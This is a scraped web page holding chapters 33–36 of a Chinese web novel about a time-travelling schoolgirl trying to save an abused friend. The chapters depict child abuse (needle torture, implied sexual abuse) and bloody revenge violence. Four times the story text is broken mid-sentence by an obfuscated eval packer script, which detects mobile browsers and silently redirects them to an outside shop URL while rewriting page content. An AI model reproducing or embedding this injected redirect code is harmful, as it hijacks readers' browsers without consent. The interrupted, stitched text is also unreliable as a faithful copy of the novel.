在过去的很多年里,姜晓阳都从来没有思考过这两个字的含义,不存在的东西,对她而言没有意义。 她看着玻璃窗上映出来,坐在身边的那个身影,她新认识的朋友……林语禾,但其实她并不是第一次听说对方的名字。 宣城英雄,哪怕是她这样的边缘人物,也对这个头衔并不陌生。 只是第一次见到对方的时候,姜晓阳确实很难把报纸上那个威风凛凛的救人女英雄,和那个又是羞赧又是心急,在无人的更衣室里被小小泳帽给迎面击倒的女孩联系到一起。 怎么会是一个人呢。 玻璃上映出她慌慌张张的样子,和那时候并没有多大的分别,一不小心有什么从包里掉了出来,女孩一边说着“不好意思”,一边耳朵通红地低下身去捡。 真好,姜晓阳想着,像是窗户外头照进来的太阳,明媚又温暖。 和她不一样。 “晓阳……”身边的人靠了过来,软软的碎发擦过姜晓阳的侧脸,“我给你带了感冒药……你在家吃了吗,要是没吃药的话,吃一颗会舒服点。” 她的声音带着点小动物的怯,却又毫不遮掩自己的友善,像是对着亲近的人咕噜咕噜就翻起了猫肚皮。 姜晓阳的视线投了过去,在那双漂亮的栗色瞳孔里看见了自己。 一团看不清五官的,晕开的,黑色的墨。 她张了张嘴,想要拒绝,可面对那双纯粹又干净的眼睛,她说不出拒绝的话,姜晓阳伸手,将药接了过来。 林语禾没想到她动作这么干脆,连忙去翻包里带来的矿泉水,可等她好不容易找出来拧开瓶盖,再看身边的姜晓阳,对方已经将药片毫不犹豫地咽了下去……没有水,干咽。 “晓阳,你不觉得噎吗?”林语禾呆呆地举着矿泉水瓶,里面清澈的水流随着车身的颠簸也跟着来回晃动,“要不要喝一口?” 姜晓阳摇摇头,感冒药只是小小一片,对她来说咽下去毫无知觉……除了吞咽的动作本身会带来疼痛以外。 “不知道严不严重,这里也没有体温计……”林语禾有些懊恼地说道,“刚刚等你的时候忘记去找药店了,要是等会还不好,我陪你去医院。” “不用。”姜晓阳拒绝道,毫不意外地看见对方眼神里的挫败,她状似不经意地按了按疼痛不堪的喉咙:“……出去走走就好了。” 当然是不可能的。 感冒,只不过是她找的拙劣借口,但姜晓阳并不打算告诉林语禾这一点,即使对方信以为真,再找来其他的药,她也会照吞不误——这些药片可比曾经她在家里吞掉的那些甜得多。 “是吗?那我可以陪你多走一会儿,要是你想吃什么也跟我说,我妈说了今天可以在外面吃了饭再回去~”林语禾又掰着手指数了起来,这会儿她就后悔没提前问问舒任,江畔公园到底有什么店好吃了。 听说十年后什么东西都很方便,在网上轻轻一点就能看到答案,然而十年前的现在,就连网吧也不过是ADSL上网,林家连电脑都没有,她想要知道这些信息就只能靠“听说”——偏偏这些信息都没人在意。 姜晓阳静静地看着少女时而露出扼腕的神色,时而又不知道想到什么,笑得露出梨涡。 她没有问对方为什么找到了家里来,既然有那本书,答案已经呼之欲出……就是殷老师告诉林语禾的。 让她意外的是,殷老师竟然也对林语禾没办法,这个人仿佛天生就有一种能力,只要她想讨好的人,那就一定会被她讨好,想到殷老师送给自己的那本《相约星期二》,姜晓阳无声地勾了勾唇角。 星期二是个不起眼的数字。 但对于她,却有别样的意义。 紧接着,那抹笑容淡了淡,殷老师就这样轻而易举地把地址交到了林语禾手上,到底有没有考虑过可能会发生的危险? 那不是家,而是恶魔的巢穴……殷老师竟然放任林语禾进入那么危险的地方。 要不是自己及时把人带走,要不是那个人今天有事出门了,姜晓阳不敢往下想,会发生什么事。 她伸出手,被长长衣袖遮掩住的手背上,不用看也知道,是密密麻麻的针眼。 这是姜国栋惩罚她的诸多方法中,微不足道的一种,因为它不会痛到让人瞬间失去意识,可每扎进去一次,从尾椎骨蔓延而上的剧痛都会让人本能地战栗,对于姜国栋而言,这是令他愉悦的“观影时间”。 “要倒出去了。” 指尖上一阵温暖,林语禾回过神,晓阳不知道什么时候帮她拧上了瓶盖,没让矿泉水撒出来,明明自己是来探病的,却粗心大意反而要病人来照顾自己,实在是有点不像话,林语禾红着脸,把矿泉水塞到了晓阳手里。 “你喝,我特地给你带的!” 最后姜晓阳还是没能拗过她,微微抿了一口瓶子里的水。 明明只是这么个小动作,林语禾却笑得很得意,像是在考试里拿下第一名一样,还催促她多喝一点,多喝一点病才能好得快。 “你天天都去游泳,为什么还会感冒呢?”林语禾想到这一点,就百思不得其解,“欢乐谷那时候就只有激流勇进沾了水……但穿了一次性雨衣,不应该呀。” 姜晓阳的动作一顿,有些不自然地说道:“……我不喜欢游泳。” “啊?” “我不喜欢游泳。”姜晓阳看着她,“……如果可以的话,我一辈子也不想和这两个字沾上关系。” …… 公交车在江畔公园车站停住,林语禾追着晓阳的身影下了车。 林语禾看着晓阳的背影,原本就满是疑问的脑海里现在更像是被猫挠得乱糟糟一团的毛线团一样,找不到头绪。 对于溺亡案,她有很多不理解的地方。 最大的一个疑问就是,那天自己遭遇危险,第一个发现不对劲的就是相隔整整一个泳道的晓阳,晓阳是会游泳的,这件事也证明晓阳的游泳水平很高,那为什么她还会溺水? 而现在,在晓阳亲口说出这句话以后,这个疑问中又多了一句:为什么晓阳会这么厌恶游泳? 提起游泳的时候,晓阳的表情很阴郁,这不像是开玩笑……更像是真心话。 难道是因为她爸爸? 宣江上有水鸟捕鱼,江岸边有不少人在玩水,远远地也能听见那边传来的欢声笑语,林语禾快走几步,与晓阳肩并肩,她侧过头:“那你之后还会去游泳吗?” “不会。” “哪怕你爸爸叫你去,你也不去啦?” 晓阳轻笑一声:“他不会叫。” 林语禾却仍然追问道:“那如果……不是游泳馆呢?” 听到她这句话,姜晓阳的表情终于变了,她停下脚步,若有所思地看着林语禾:“你想说什么?” “我没有别的意思,就是……”林语禾挠了挠头,忽然想起舒任之前说过的话,“防溺水宣传!对,就是这个,不是每年都有游野泳,然后不小心出事的嘛,你爸又是宣城的冬泳名人,我怕你——” “怕我和他一样去游宣江,出意外?” 林语禾点点头。 晓阳弯了弯唇角:“不会的。” “那你答应我,国庆节绝对不会碰水。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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毕竟,晓阳那么漂亮,那么温柔,那么善良……可又是那么内向和沉默,仿佛对一切都逆来顺受,像个泥人一样软绵绵的没有力气,这让林语禾本能地想要去维护她,保护这个珍贵的朋友。 一个十六岁的高中生,要是说出“我想要保护你”这句话,恐怕连路过的陌生人都会笑她不自量力。 曾经林语禾也是这么想的,但现在她有底气,这份底气来自十年后的另一份支持,来自她曾经亲手改变过自己的命运。 只是一次意外而已,和六中那次没什么不同,林语禾坚定地凝望着眼前的少女,希望能把自己的这份坚定传递到对方心里。 姜晓阳沉默许久,久到林语禾都以为对方已经神游天外,她却轻轻开口了。 “……好。” 林语禾愣了愣:“真的啊?别骗我!” “真的。”姜晓阳笑着,帮好友将碎发捋到了耳后,“谢谢你担心我。” “也没什么担心不担心的。”林语禾这会儿才后知后觉地感觉有些羞耻,她鞋子戳着地面,“一般十月也不会下水了嘛,那么冷……嗯,反正我就是这么一说,你不要下水就好!” 晓阳的案件发生在10月8日,只要挺过这个国庆节,她就安全了,林语禾松了口气,笑得眉眼弯弯,急不可待地挽上了晓阳的手臂。 “前面那家奶茶店看上去挺好喝的,咱们进去坐一会儿吧!” “好。” 两人肩并肩往前走,阳光洒了下来,天气好得像是没有一丝阴霾。 今天回去一定要告诉舒任这个好消息,林语禾甚至连这一次的锦旗标语要写什么都想好了。 就叫——超时空五好市民! 34. 第 34 章 这天林语禾陪着晓阳真的在江畔公园呆了很久。 青春年少的时候,不需要多么昂贵的礼物,也用不着多么高大上的娱乐,只是简单地坐在一起,随意地喝喝奶茶,聊聊彼此觉得有趣的日常,也能听得津津有味。 ——不,不是青春年少,而是朋友之间就会这样,连门口路过的一只小狗,都自然而然会成为两人聊天的话题。 在奶茶店坐了大半个下午,林语禾拉着晓阳出来沿着江边漫步,这会儿快到饭点,十月的天黑得快些,已经有不少沿街的店铺点亮了灯,又或是挂上了灯笼,放眼望去,仿佛连江水都映着缤纷的色彩。 “晚上有没有想吃的?咱们宣城本地菜……”林语禾话音未落,又自己懊恼地打断掉,“对了,你要吃清淡一点,不能吃这些辣的。” “没关系,吃了药,已经好很多了。”晓阳笑了笑,“你觉得什么好吃就吃什么。” 林语禾小心地打量她神色,还以为晓阳是不想自己担心,却意外地发现对方的脸色竟然真的没有那么苍白了,就连唇上仿佛也多了些血色。 她拿的那盒药真的就那么有效?这个疑问在林语禾脑海里一闪而逝,她随即振奋起来:“那吃宣城菜吧,上次咱们在欢乐谷吃那些东西,说实话没有宣城正宗。” 晓阳弯了弯唇角:“欢乐谷是给游客吃的。” “再是游客,做本地菜也要正宗一点啊。”林语禾碎碎念,“哪有炒番茄鸡蛋里面加糖的!” 那可是白砂糖啊……偏偏还没炒散,一口下去绵绵密密的糖齁得她直灌水,到现在还心有余悸,早知道当时就不该去吃什么宣城菜,就该听雨娜的,去吃牛排饭,恐怕吃得还开心点。 反正宣城小,根本没有什么人吃西餐,就算不正宗不好吃她们也不知道。 “那家——感觉怎么样?”林语禾指了指不远处的一家店,门前放着个灯箱,写着“家常小炒”,“看上去还挺像那回事的。” 晓阳愣了愣,却没有说什么,林语禾亲密地挽着她进了店里。 果然和店门口摆的招牌一样,就是一个看上去十分家常的炒菜店,最深处的房间不时传来热油淋在锅里发出的“滋啦”声,估计是厨房在那,菜肴的香气紧跟着就飘了出来。 两个人点菜不用太多,加上晓阳说她身体好了许多,但林语禾还是惦记着她在生病这回事,最终点了一道糖醋排骨,一道麻婆豆腐,一道番茄丸子汤。 一荤一素一汤,一辣一甜一清淡,刚好将两人都能接受的口味涵盖进去,林语禾没吃过这家,打算上菜之后看看份量,要是不够的话再加。 这种小店看上去朴实无华,点单自然也没什么服务可言,林语禾对着菜单把要点的菜写好,正要起身去后厨找老板递点菜单,忽然身边响起了一道温和的声音:“点好单就给我吧。” 林语禾抬起头,一个带着黑框眼镜,看上去弱不禁风的少年站在她面前,正摊开手等她把东西交过去,林语禾“哦”了一声,扭过头问:“晓阳,你有没有忌口?” 晓阳摇摇头,林语禾这才又转过来,跟少年说了声“就这样”,把单子给他,自己在座位上坐下来。 “两位稍等。”少年手脚利落地给她们收拾好桌上的一次性碗筷包装,又看了一眼晓阳,这才往后厨跑去。 林语禾看了一眼他背影,回过头来和晓阳小声讨论:“这人是不是和咱们差不多年纪啊?也不知道是勤工俭学的还是帮家里的忙……应该是帮家里吧,好像听到他喊后厨那边的人舅舅?” 她自己胡乱猜测了一番,由衷佩服:“还好我妈管得严,但是还不至于让我真的出来打工,我觉得我坚持两三天就得哭着跟我妈认错了。”她捏了捏自己手臂上的肉,“刚刚那个人感觉比我还瘦。” “有时候也是没办法。”晓阳说道,“也许他自己也不想这么辛苦。” 林语禾撑着下巴:“……也是。” 不说别人,她爸刚走那两年,常女士为了养活她,一天多起来能打三四份工,据说险些连单位的工作都被开掉,还是后来她年纪大了些,身体比小时候健康,又碰见了林叔叔,她妈的日子才慢慢好过起来的。 林叔叔没有她爸那么会说话,大多数时候都是沉默的,可沉默的背后,是十年如一日地对一个人尽心尽力地好,对她这个“拖油瓶”也爱屋及乌地关照。 以前林语禾不懂,现在她才意识到,身边这些看上去默默无闻的人都并不容易。 两人又闲聊了一会儿,听说晓阳很少出来和朋友一起吃饭,林语禾更是心疼不已,常女士管她管得再严,也不可能到这个地步,更不要说之前她和晓阳的父母都打过交道……说实话,林语禾觉得这夫妻俩一点也不像是为人父母的样子。 “没事儿,你要是愿意,我们可以一起天天吃饭。”林语禾说道,“反正四中和六中也离得不远。” 许归苑和莫雨娜要是知道她这会儿这么积极,肯定会在群里狠狠鄙视她,说好的四中太远呢~ 两人有一搭没一搭地闲聊着,没多久菜就上上来了,还是之前那个瘦瘦弱弱的少年,看上去文文弱弱的,力气倒是真的大,一盆汤他端起来都不带晃的,林语禾都看见他手腕上迸起青筋了。 菜上齐,小木桶装着米饭也端上了桌。 林语禾从旁边的筷筒里拿出两双筷子分给晓阳一双,一低头,面前却多了一个玻璃瓶,写着可口可乐,晓阳面前也有一瓶,是美年达。 她不记得自己叫了饮料啊? 林语禾连忙叫住上菜的那个少年人:“诶……你好,我们没点这个饮料!” 少年有些羞赧地笑了笑:“店里活动,点满三个菜送饮料。” 林语禾“哦”一声,忽然听见后厨那边一声怒吼:“人呢,死哪去了!” 少年冲她和晓阳抱歉地笑笑,紧赶慢赶地又跑回后厨门口,垂着手站在门口,似乎是在挨训。 “老板脾气好凶……” 林语禾回过头,晓阳刚给她盛了一碗米饭,她接过来说了声谢谢,把刚刚的事丢在了一边,又开心起来,“今天运气这么好,竟然还刚好赶上做活动!” 晓阳也跟着笑了笑。 “快吃吧,等会冷了就不好吃了。” “好~” 这家味道倒是挺好,林语禾一开始还有些矜持,到后来就暴露了吃货本质,一口接一口吃得不亦乐乎,晓阳倒是吃得很少,碗里眼看着就两三口米饭,还一直没下去多少,反而是她自己碗里这满满一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13446052|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很快就见底了。 林语禾包里揣着常女士给的零花钱,打定主意今天请晓阳吃饭,就当是看病人带的礼物,谁知晓阳比她先一步反应过来,趁着她还在和面前的糖醋排骨搏斗,自己先去前台把账结了。 “那咱们AA……” “不用。” “但是今天明明是我来找你……” “就当我请朋友。” 女生们轻声细语的交谈慢慢远去,少年对着她们背影说了声慢走,隔壁桌的顾客“咦”了一声:“小伙子,我们点了六个菜,怎么没送饮料?” “哦,那是限时活动,已经结束了。” …… 从小店出来,天色已经全黑了,手机上的时钟指向晚上八点,林语禾拗不过晓阳,只好和她约定,下一次两人再出来一起玩,一定不能再偷偷把钱付了。 不能礼尚往来,还算什么朋友! 林语禾吃得很撑,两人又沿着江畔公园的步道走了一段,晓阳显得很放松,时不时就在看那些江边摸黑放烟花的人。 天气冷,江边的温度更低,却丝毫不影响这些人的兴致,仙女棒之类的在空中旋转舞动着,甚至还有人不知道从哪儿放了一朵冲天炮出来,在半空中绽放出五光十色的焰色。 林语禾见她看得入迷,干脆主动邀请:“还有两个月就跨年了……要不要找桂圆和雨娜,我们四个人一起出来玩?你想放烟花的话,到时候麻烦雨娜多带一点来,她之前说过她舅舅是开烟花鞭炮厂的。” “嗯?”晓阳后知后觉地才意识到,林语禾以为她在羡慕那些放烟花的人,她笑了笑,并没有辩解,而是点了点头,“好啊……如果跨年那天我们都在的话。” “肯定都在的,元旦节就那么一点点时间,作业能不能做完都是问题呢,估计大家都不会出远门。” 不知不觉中,两人走到了公交车站,林语禾家在六中旁边,和晓阳的方向不同,很快她要坐的公交车很快就来了,林语禾依依不舍地上车在单人位坐下,还是使劲拉开窗户,向下方的晓阳喊道:“记得给我发短信!” “好。” “有什么不开心的事情都可以告诉我!” “好,到家报平安。” 司机唠唠叨叨的声音传了过来,车窗重新阖上,车窗里的少女用力朝姜晓阳挥了挥手,笑得梨涡深深。 姜晓阳一直伫立在原地,直到那班公交车远远地消失在路尽头,再也看不清一分一毫,脸上淡淡的笑意这才慢慢地收敛了下去。 一班途径锦馨雅苑的公交车在她身边停下,她恍若未见,而是双手放进兜里,慢慢地向前走,裹着夜色的身影在月光的照耀下显得有些孤寂,不知道走了多久,她脚步向右,拐进了一个深不见底的小巷中,在一座看上去破败不堪的小院门口停住脚步。 “咚咚” “谁?” “是我。” 布满铁锈的大门吱呀一声拉开,一个穿着白色背心,目光看上去有些阴鸷的板寸头少年与门外的姜晓阳四目相对。 “晓阳!” 他的眼神倏然温柔了下来,示意姜晓阳跟着他进去。 少年的右脚有些跛,脚步声回荡在院落里,发出轻重不一的轻响。 35. 第 35 章 这座房子一看就已经有很久的年头,连堂屋的大门上都落下了斑斑锈迹,居住此间的主人显然并不是什么热爱生活的人,秋日飘散下来的秋叶堆积在院落一角,无人整理。 姜晓阳驻足看了一会儿那片枯黄的叶堆,跛足少年见她没跟上来,回头才发现她盯着那堆叶子看:“有点脏,我晚点拿火烧掉。” 他声音粗声粗气,乍一听让人皱眉,但语气间却有掩饰不住的温柔。 姜晓阳笑了笑:“没有……我只是在想,关野你有没有感觉这两年时间过得好快。” “……” 这个问题对于一贯粗枝大叶的少年来说,不异于是一道超纲的数学题,他挠了挠头,寸头上的毛刺扎到他手里的茧子,没什么感觉:“听不懂,但你这么说,那就是过得快。” 姜晓阳抿唇一笑,两人进了堂屋,姜晓阳熟稔地在靠窗的旧沙发上坐下,长长地呼出一口气,十月的晚上,天气已经有些微凉,这座老房子更是没有什么隔热的装修,呼出的气转眼就在空中弥漫成了淡淡的白雾。 墙上挂着黑白照,两张,是关野过世的爷爷奶奶,再往下放着关公像,一边的灯早已经故障得亮不起来了,另一边的灯也像是风中残烛,呜呜咽咽的,像是随时要熄灭。 “电视机坏了,还没修好。”关野有些尴尬,急急忙忙地探身去沙发上把那些杂物拨到一边,扳手锤子之类的工具撞在一起,发出乒铃乓啷的声响,“冷不冷,我给你烧开水,你等会。” “不冷,你才是要多穿点。” “用不着,我还嫌这天气热。” 关野动作有些粗鲁,把用来保护沙发的织布都掀起来半截,姜晓阳无奈地重新掖进沙发缝里,抬头看眼前忙碌的少年:“关野,别折腾了,我等会就要走。” 关野的手停了下来:“……不等傅昭了么?” “他还在店……” “谁说我还在店里?” 姜晓阳的肩膀被人极轻地拍了一下,温暖的温度转瞬即逝,紧接着一张刚刚才见到没多久的熟悉脸庞出现在她面前。 戴着黑框眼镜,看上去分外瘦弱的少年冲她笑了笑,姜晓阳也跟着笑了,叫他:“傅昭。” 如果林语禾在这儿,一定能认出来,这个少年就是刚刚在饭馆里给她们送饮料的那个人。 “我猜到晓阳会过来。”傅昭把笨手笨脚的关野撵到一边,“我来泡茶,你别帮我倒忙。” “傅昭,那两瓶饮料多少钱?我补给你。” “说什么呢,就两瓶饮料而已,都说了是做活动。” “说真的。” “说真的,用不着你补。”傅昭回头眨了眨眼,“……怪我没用,不然的话连饭钱都用不着付。” “……别这么说,傅昭。” “哈哈,开个玩笑而已,逗你玩的,别不高兴。” 关家自然没有茶叶,连这座破落的小院,也是关野爷爷奶奶死之前给他留下的唯一遗物,用来泡茶的茶叶是傅昭在餐馆里顺的,味道淡得没法说,只是比单纯烧开的热水好喝一点。 论拳头,关野一个能打十个傅昭,但论嘴皮子,他比不上傅昭万分之一,只能闷闷地“哦”了一声,走到屋角去拾掇那堆扁了吧唧的铁管,发出哗啦啦的声音,有大有小,长长短短地堆在一起。 这些都是关野的“战利品”,他不用上学,平时就在宣城游荡,捡些铁管铜电线之类的东西,就拿去回收的地方卖。 “对了关野,有人问我能不能修手表,我帮你接了,没问题吧。” “没问题。” “行,那回头我给你拿过来,很贵的,是六中的学生,怕他爸妈骂,做成这一单估计不少钱。” 烧水壶发出咕咚咕咚的响声,水沸腾开了,傅昭提着胶皮把手给三个装上茶叶的杯子里兑好水,又冲了些凉白开进到姜晓阳的杯子里,让她这会儿就能润一润嘴唇。 “……傅昭,别去六中了。” 傅昭笑嘻嘻:“我又不是去做坏事,谁叫六中有钱人多呢,我这也是给关野找生意。” 姜晓阳不说话了,抿了一口茶,茶叶的味道没能盖过自来水烧开以后的那股涩味,反而衬得更苦了,她眉头不动,安安静静地小口啜饮着,傅昭吹了吹杯子里的茶水,抬起手来。 “来,干杯!” “干杯。” “干杯!” 颇具上世纪风格的搪瓷杯子用来干杯,看上去多少有几分滑稽,但在场的三人没有谁会觉得这是一件滑稽的事……在这些年里,能让他们感到安心的,就是在这小小的屋子里,彼此依偎着汲取温暖。 这不是他们任何一个人的家。 却是他们三个人唯一能称得上是家的地方。 “烫!” “你喝那么快做什么,我兑的是开水。” “……晓阳的就不烫。” “那我这杯给你喝?” “我给关野兑点凉水就行,晓阳你喝你的。” 月光洒落下来,狭小的窗户里响起关野的声音:“晓阳,你有没有什么想要的?” “对啊晓阳,不是下个月你就要过生日了吗,你想要什么礼物,我们送你。”傅昭也说道,“我最近找到地方打工了,可以多攒点钱,想要什么都可以说。” 姜晓阳有些出神,她生日在十一月,到她过生日的时候,基本也就代表一年快要走到尽头。 “我没什么想要的。”她失笑摇摇头,“挣钱那么辛苦,我又不是不知道,自己手里多存一点,以后要花钱的时候还多呢。” “别学殷老师说话呀。”傅昭轻轻拍了一把身边脸色凶狠的关野,“而且也没什么辛苦的,你今天不是看见了么,就是端端菜,跑跑腿,打工反正也差不多这样,是不是关野?” “……嗯。” 傅昭说着,还故意亮了亮手臂上的肌肉,只是他身形单薄,做这个动作反而显得更弱不禁风,反而是旁边的关野嗤笑一声,稍微用了些力,肩膀上的血管都要鼓动起来。 “就你那点力气,别瞎折腾了。” 姜晓阳被两人逗得忍俊不禁,她慢慢地开口:“那……我想要我们三个人身体健康,平平安安,长命百岁。” 这个答案显然不能让二人满意:“这个去年说过了。” “那就……万事顺利,得偿所愿?” “前年。” 姜晓阳被两人语气里的幽怨给逗笑了:“我想不出来了。” 傅昭打圆场:“那你想一个,跟之前有点不一样就行。” 姜晓阳盯着搪瓷杯里的茶水,茶叶安静地躺在杯底,然而水面晃晃荡荡,它就像一片无所依靠的落叶,又颤颤悠悠地在水面上卷起了旋涡。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481156|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像他们的人生一样,看上去和所有人都一样,但平静的水面下却是无穷无尽的波澜。 只要一个小小的石头扔进这片水里,他们就只能身不由己地随波逐流。 “我的愿望是……能一起离开宣城,越远越好。” 说完这句话,却发现关野和傅昭都看着她没说话,姜晓阳提了提嘴角:“我想要的礼物,就是这个——可以送给我吗?” 关野一声不吭地低下头,咕咚咕咚把茶水喝下去大半杯:“好。” 傅昭也点了点头:“你想要的礼物,哪一次我们没送?” 姜晓阳这才重新露出了笑容,目光里星光闪闪,她撑着下巴,积极地展望未来:“那时候,我们要不要去哪儿走一走?” “行啊,京城,万里长城。”傅昭笑吟吟地附和她转移了话题,“要不然就去看海——算了,去天山,看草原?” “关野,你想去哪?” “晓阳去哪我就去哪。” “没兄弟情的家伙,忘了上次你生病谁给你买的退烧药了?” “……那次你也差点用开水烫死我。” 姜晓阳安静笑着,坐在一边看着关野和傅昭斗嘴。 如果林语禾此时在场,恐怕会以为眼前的晓阳和她认识的压根不是同一个人。 哪怕与她关系亲密了许多,晓阳的脸上也不会出现这样毫无保留的笑容,更不会露出这么安心的神情,就好像是褪去了那层自我保护的壳,将柔软的一面展现了出来。 这是她的亲人,没有血缘关系,却相濡以沫的亲人。 可没有人注意到,那份温柔下潜藏的伤痕。 “……嘶,痛。”姜晓阳回过神来,刚刚一不小心,她的手背碰到了关野的杯身,滚烫的温度拉扯着还未痊愈的伤痕,顿时让她十指连心一齐痛楚起来。 “晓阳,怎么了?” “是不是烫到了,走,去厨房用冷水冲一下。” 两人几乎是同时站了起来,神色关切地看着她。 姜晓阳掩饰地将手往怀里缩,说着“不用了”,可两人对她的任何一个小动作都已经烂熟于心,关野伸出手,在她还没反应过来的时候就把她的右手抓住了。 袖子滑了下来,手背上密密麻麻交织成一片的红色伤疤狰狞翻出。 关野的笑容慢慢落了下去,他的呼吸粗重起来,眼底漫上了一层血红。 “他又打你了是不是!” “……” “姜国栋那个畜生……他是不是又打你了!” “……” “他还做了什么!他是不是、他是不是又把你——” “关野!”紧要关头,傅昭沉声喝止了关野接下来的话。 后半句话噎在了嗓子眼,就像是一把钢针,将关野的喉头扎得血肉模糊。 然而令他更加痛苦不堪的是姜晓阳此刻的模样,少女脸上的笑容隐没了下去,像是一座毫无情感的冰雕一样回应着他的注视。 她的双眸里没有神采,只有麻木,冰凉的眼神仿佛冬天的一盆冷水狠狠地浇在了关野头上。 十月的天气好像太冷了,裸露在背心之外的四肢用力得迸张出一道道青筋。 愤怒、懊恼、怨恨……翻涌的情绪将关野的视野染成一片通红,他松开手,下意识就要去找放在屋角的钢管:“我要杀了他。” 36. 第 36 章 “别去。” 阻拦他的,却是姜晓阳比冰雪还要冰凉的声音,她咬着唇,近乎乞求地看着他:“别去,关野。” 关野的牙咬得咯吱作响:“我怎么能不去,姜国栋那个畜生,他就是个披着人皮的恶魔,要不是他把你——不行,我必须要杀了他!” “晓阳说得对,你不能去。”傅昭也上来拦他,苦苦劝阻,“关野,你不能冲动!” 两人目光如出一辙的哀求,好像做错事的那个人是他。 “冲动……我冲动?”关野冷笑一声,“是啊,我冲动,一条贱命,死了就死了,我无所谓。” “不像你永远只知道说这些高高在上的话,看着晓阳受苦,你怎么说得出来这些话?!我告诉你傅昭,我听够了,带着你这些屁话给我有多远滚多远!” “关野!”姜晓阳痛苦地喊出声,“别再说了……” “随便你怎么说都行,但是你不能去。”傅昭脸色苍白,却挡在堂屋门口,寸步不让,“关野,你这么做不仅帮不上忙,还会害了晓阳!” 关野盯着他,像是发狠的凶兽盯着自己的天敌,忽然他勾起嘴角,在姜晓阳失声的惊叫中,一拳打在傅昭身上。 这一拳径直将傅昭打得栽倒在沙发上,捂着胸口一个劲儿咳嗽,什么也说不出来了。 关野转过头,目光复杂又悲伤:“……晓阳,你也是这么想的?” 他帮不上忙,他只会拖累别人,他活着就是个错误。 是吗,她也是这样看待他的吗? “是他不配。”姜晓阳轻声说道,有泪水慢慢从她脸上淌下,她声音很轻很轻,就像是随时会飘走的羽毛,“他那种人不配……关野,不要为了那种人,毁了你的人生。” “人生?”关野自嘲一笑,“我的人生早就毁了,在我爸妈生下我的那天就毁了。” “……” 谁也不再开口,茶几上放着的三个杯子里,茶水凉了下来,可谁也顾不上去喝。 刚刚还温馨不已的气氛凝固到极致。 剑拔弩张。 关野凝视着姜晓阳,姜晓阳流着眼泪与他四目相对,两人对峙间,傅昭还在剧烈地咳嗽着。 就在这时,院外却忽然响起一片喧哗—— “那个没爹妈的孤儿是不是就住这儿?” “关野,他妈的给老子滚出来!” “你不出来,老子就把你家砸个干净!” 关野看了姜晓阳一眼,一言不发地拖着一根铁棍,脚步深深浅浅地往院外走去。 铁棍在水泥地板上拖出令人牙酸的摩擦声,他头也不回,将堂屋的门砸上,没多久,外头那些人的嚣张挑衅,就变成了惨叫与哀鸣,在一片求饶的声音中,关野的身影再度出现。 漆黑的铁棍上隐隐泛着赤红,渗出血的腥甜味儿。 留下的两人并没有对此表现出惊讶,关野的神情也比刚刚平静了一些,他目光投向正在给傅昭涂红花油的姜晓阳,声音低沉:“让他自己来。” 傅昭苦笑一声,示意她听关野的,姜晓阳无可奈何地放下药油,关野把铁管随意地丢在一边进了厕所,过了好一会儿才出来,提起急救箱坐在姜晓阳身边。 “哪儿伤了,我来给你上药。” 姜晓阳抿了抿唇:“我可以自己来。” “哪儿?” “……手。” 关野一言不发地低下头,拿出生理盐水将她手背那些狰狞的伤口清理干净,又用碘伏仔仔细细地涂了一遍,涂上消炎药膏,最后用纱布绷带缠好,还笨拙地绑了个蝴蝶结。 他的动作很慢,即使如此,还是疼得姜晓阳下意识抽了口冷气。 傅昭咳了两声:“让我来。” 关野没理他,此时此刻,他满眼都只剩下面前的少女。 他知道自己残缺,卑鄙,没人会瞧得起他。 可单单只是想到她也有可能嫌弃他身上的血味,他就止不住一遍又一遍地用香皂冲洗这双手,不让她皱一点眉头。 带着香皂气味拂过她散落下来的碎发:“还有吗?” 姜晓阳摇摇头。 关野敏锐地发现她瑟缩了一下,眼神暗了下去:“还有,在哪里?” 拗不过他,姜晓阳只好吸了口气,坦诚:“背上,腰上,腿……还有……” “还有?” 她将高领长袖的领口微微往下拉了拉。 里面是一道泛着青紫的淤痕,下手的人恐怕是真心想要她死,留下的痕迹令人触目惊心。 室内瞬间寂静了下来,许久,有人说道。 “……我总有一天会杀了他。” …… 【舒任舒任,你在忙吗?我要给你分享一个天大的好消息,经过本人的不懈努力,晓阳已经答应我不会去游泳,也不会靠近有水的地方了,这下应该不会出现意外了!】 【你那边未来改变了吗?】 林语禾和晓阳分开以后心情一直很好,回到家第一件事就是回卧室给舒任在备忘录留言。 如果是平时,她还会矜持一点“语气不能太幼稚”,“不要喋喋不休说个不停”,可今天她忍不住“原形毕露”。 因为她真的高兴,除了和晓阳之间变成了更加亲密的朋友以外,还有一股浓浓的成就感——和礼堂那时候不一样,那时候她自己也在其中,可这次她是真正地为了自己的朋友,在努力改变“现实”。 晓阳不会出意外不会死,她们会一直当好朋友,一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 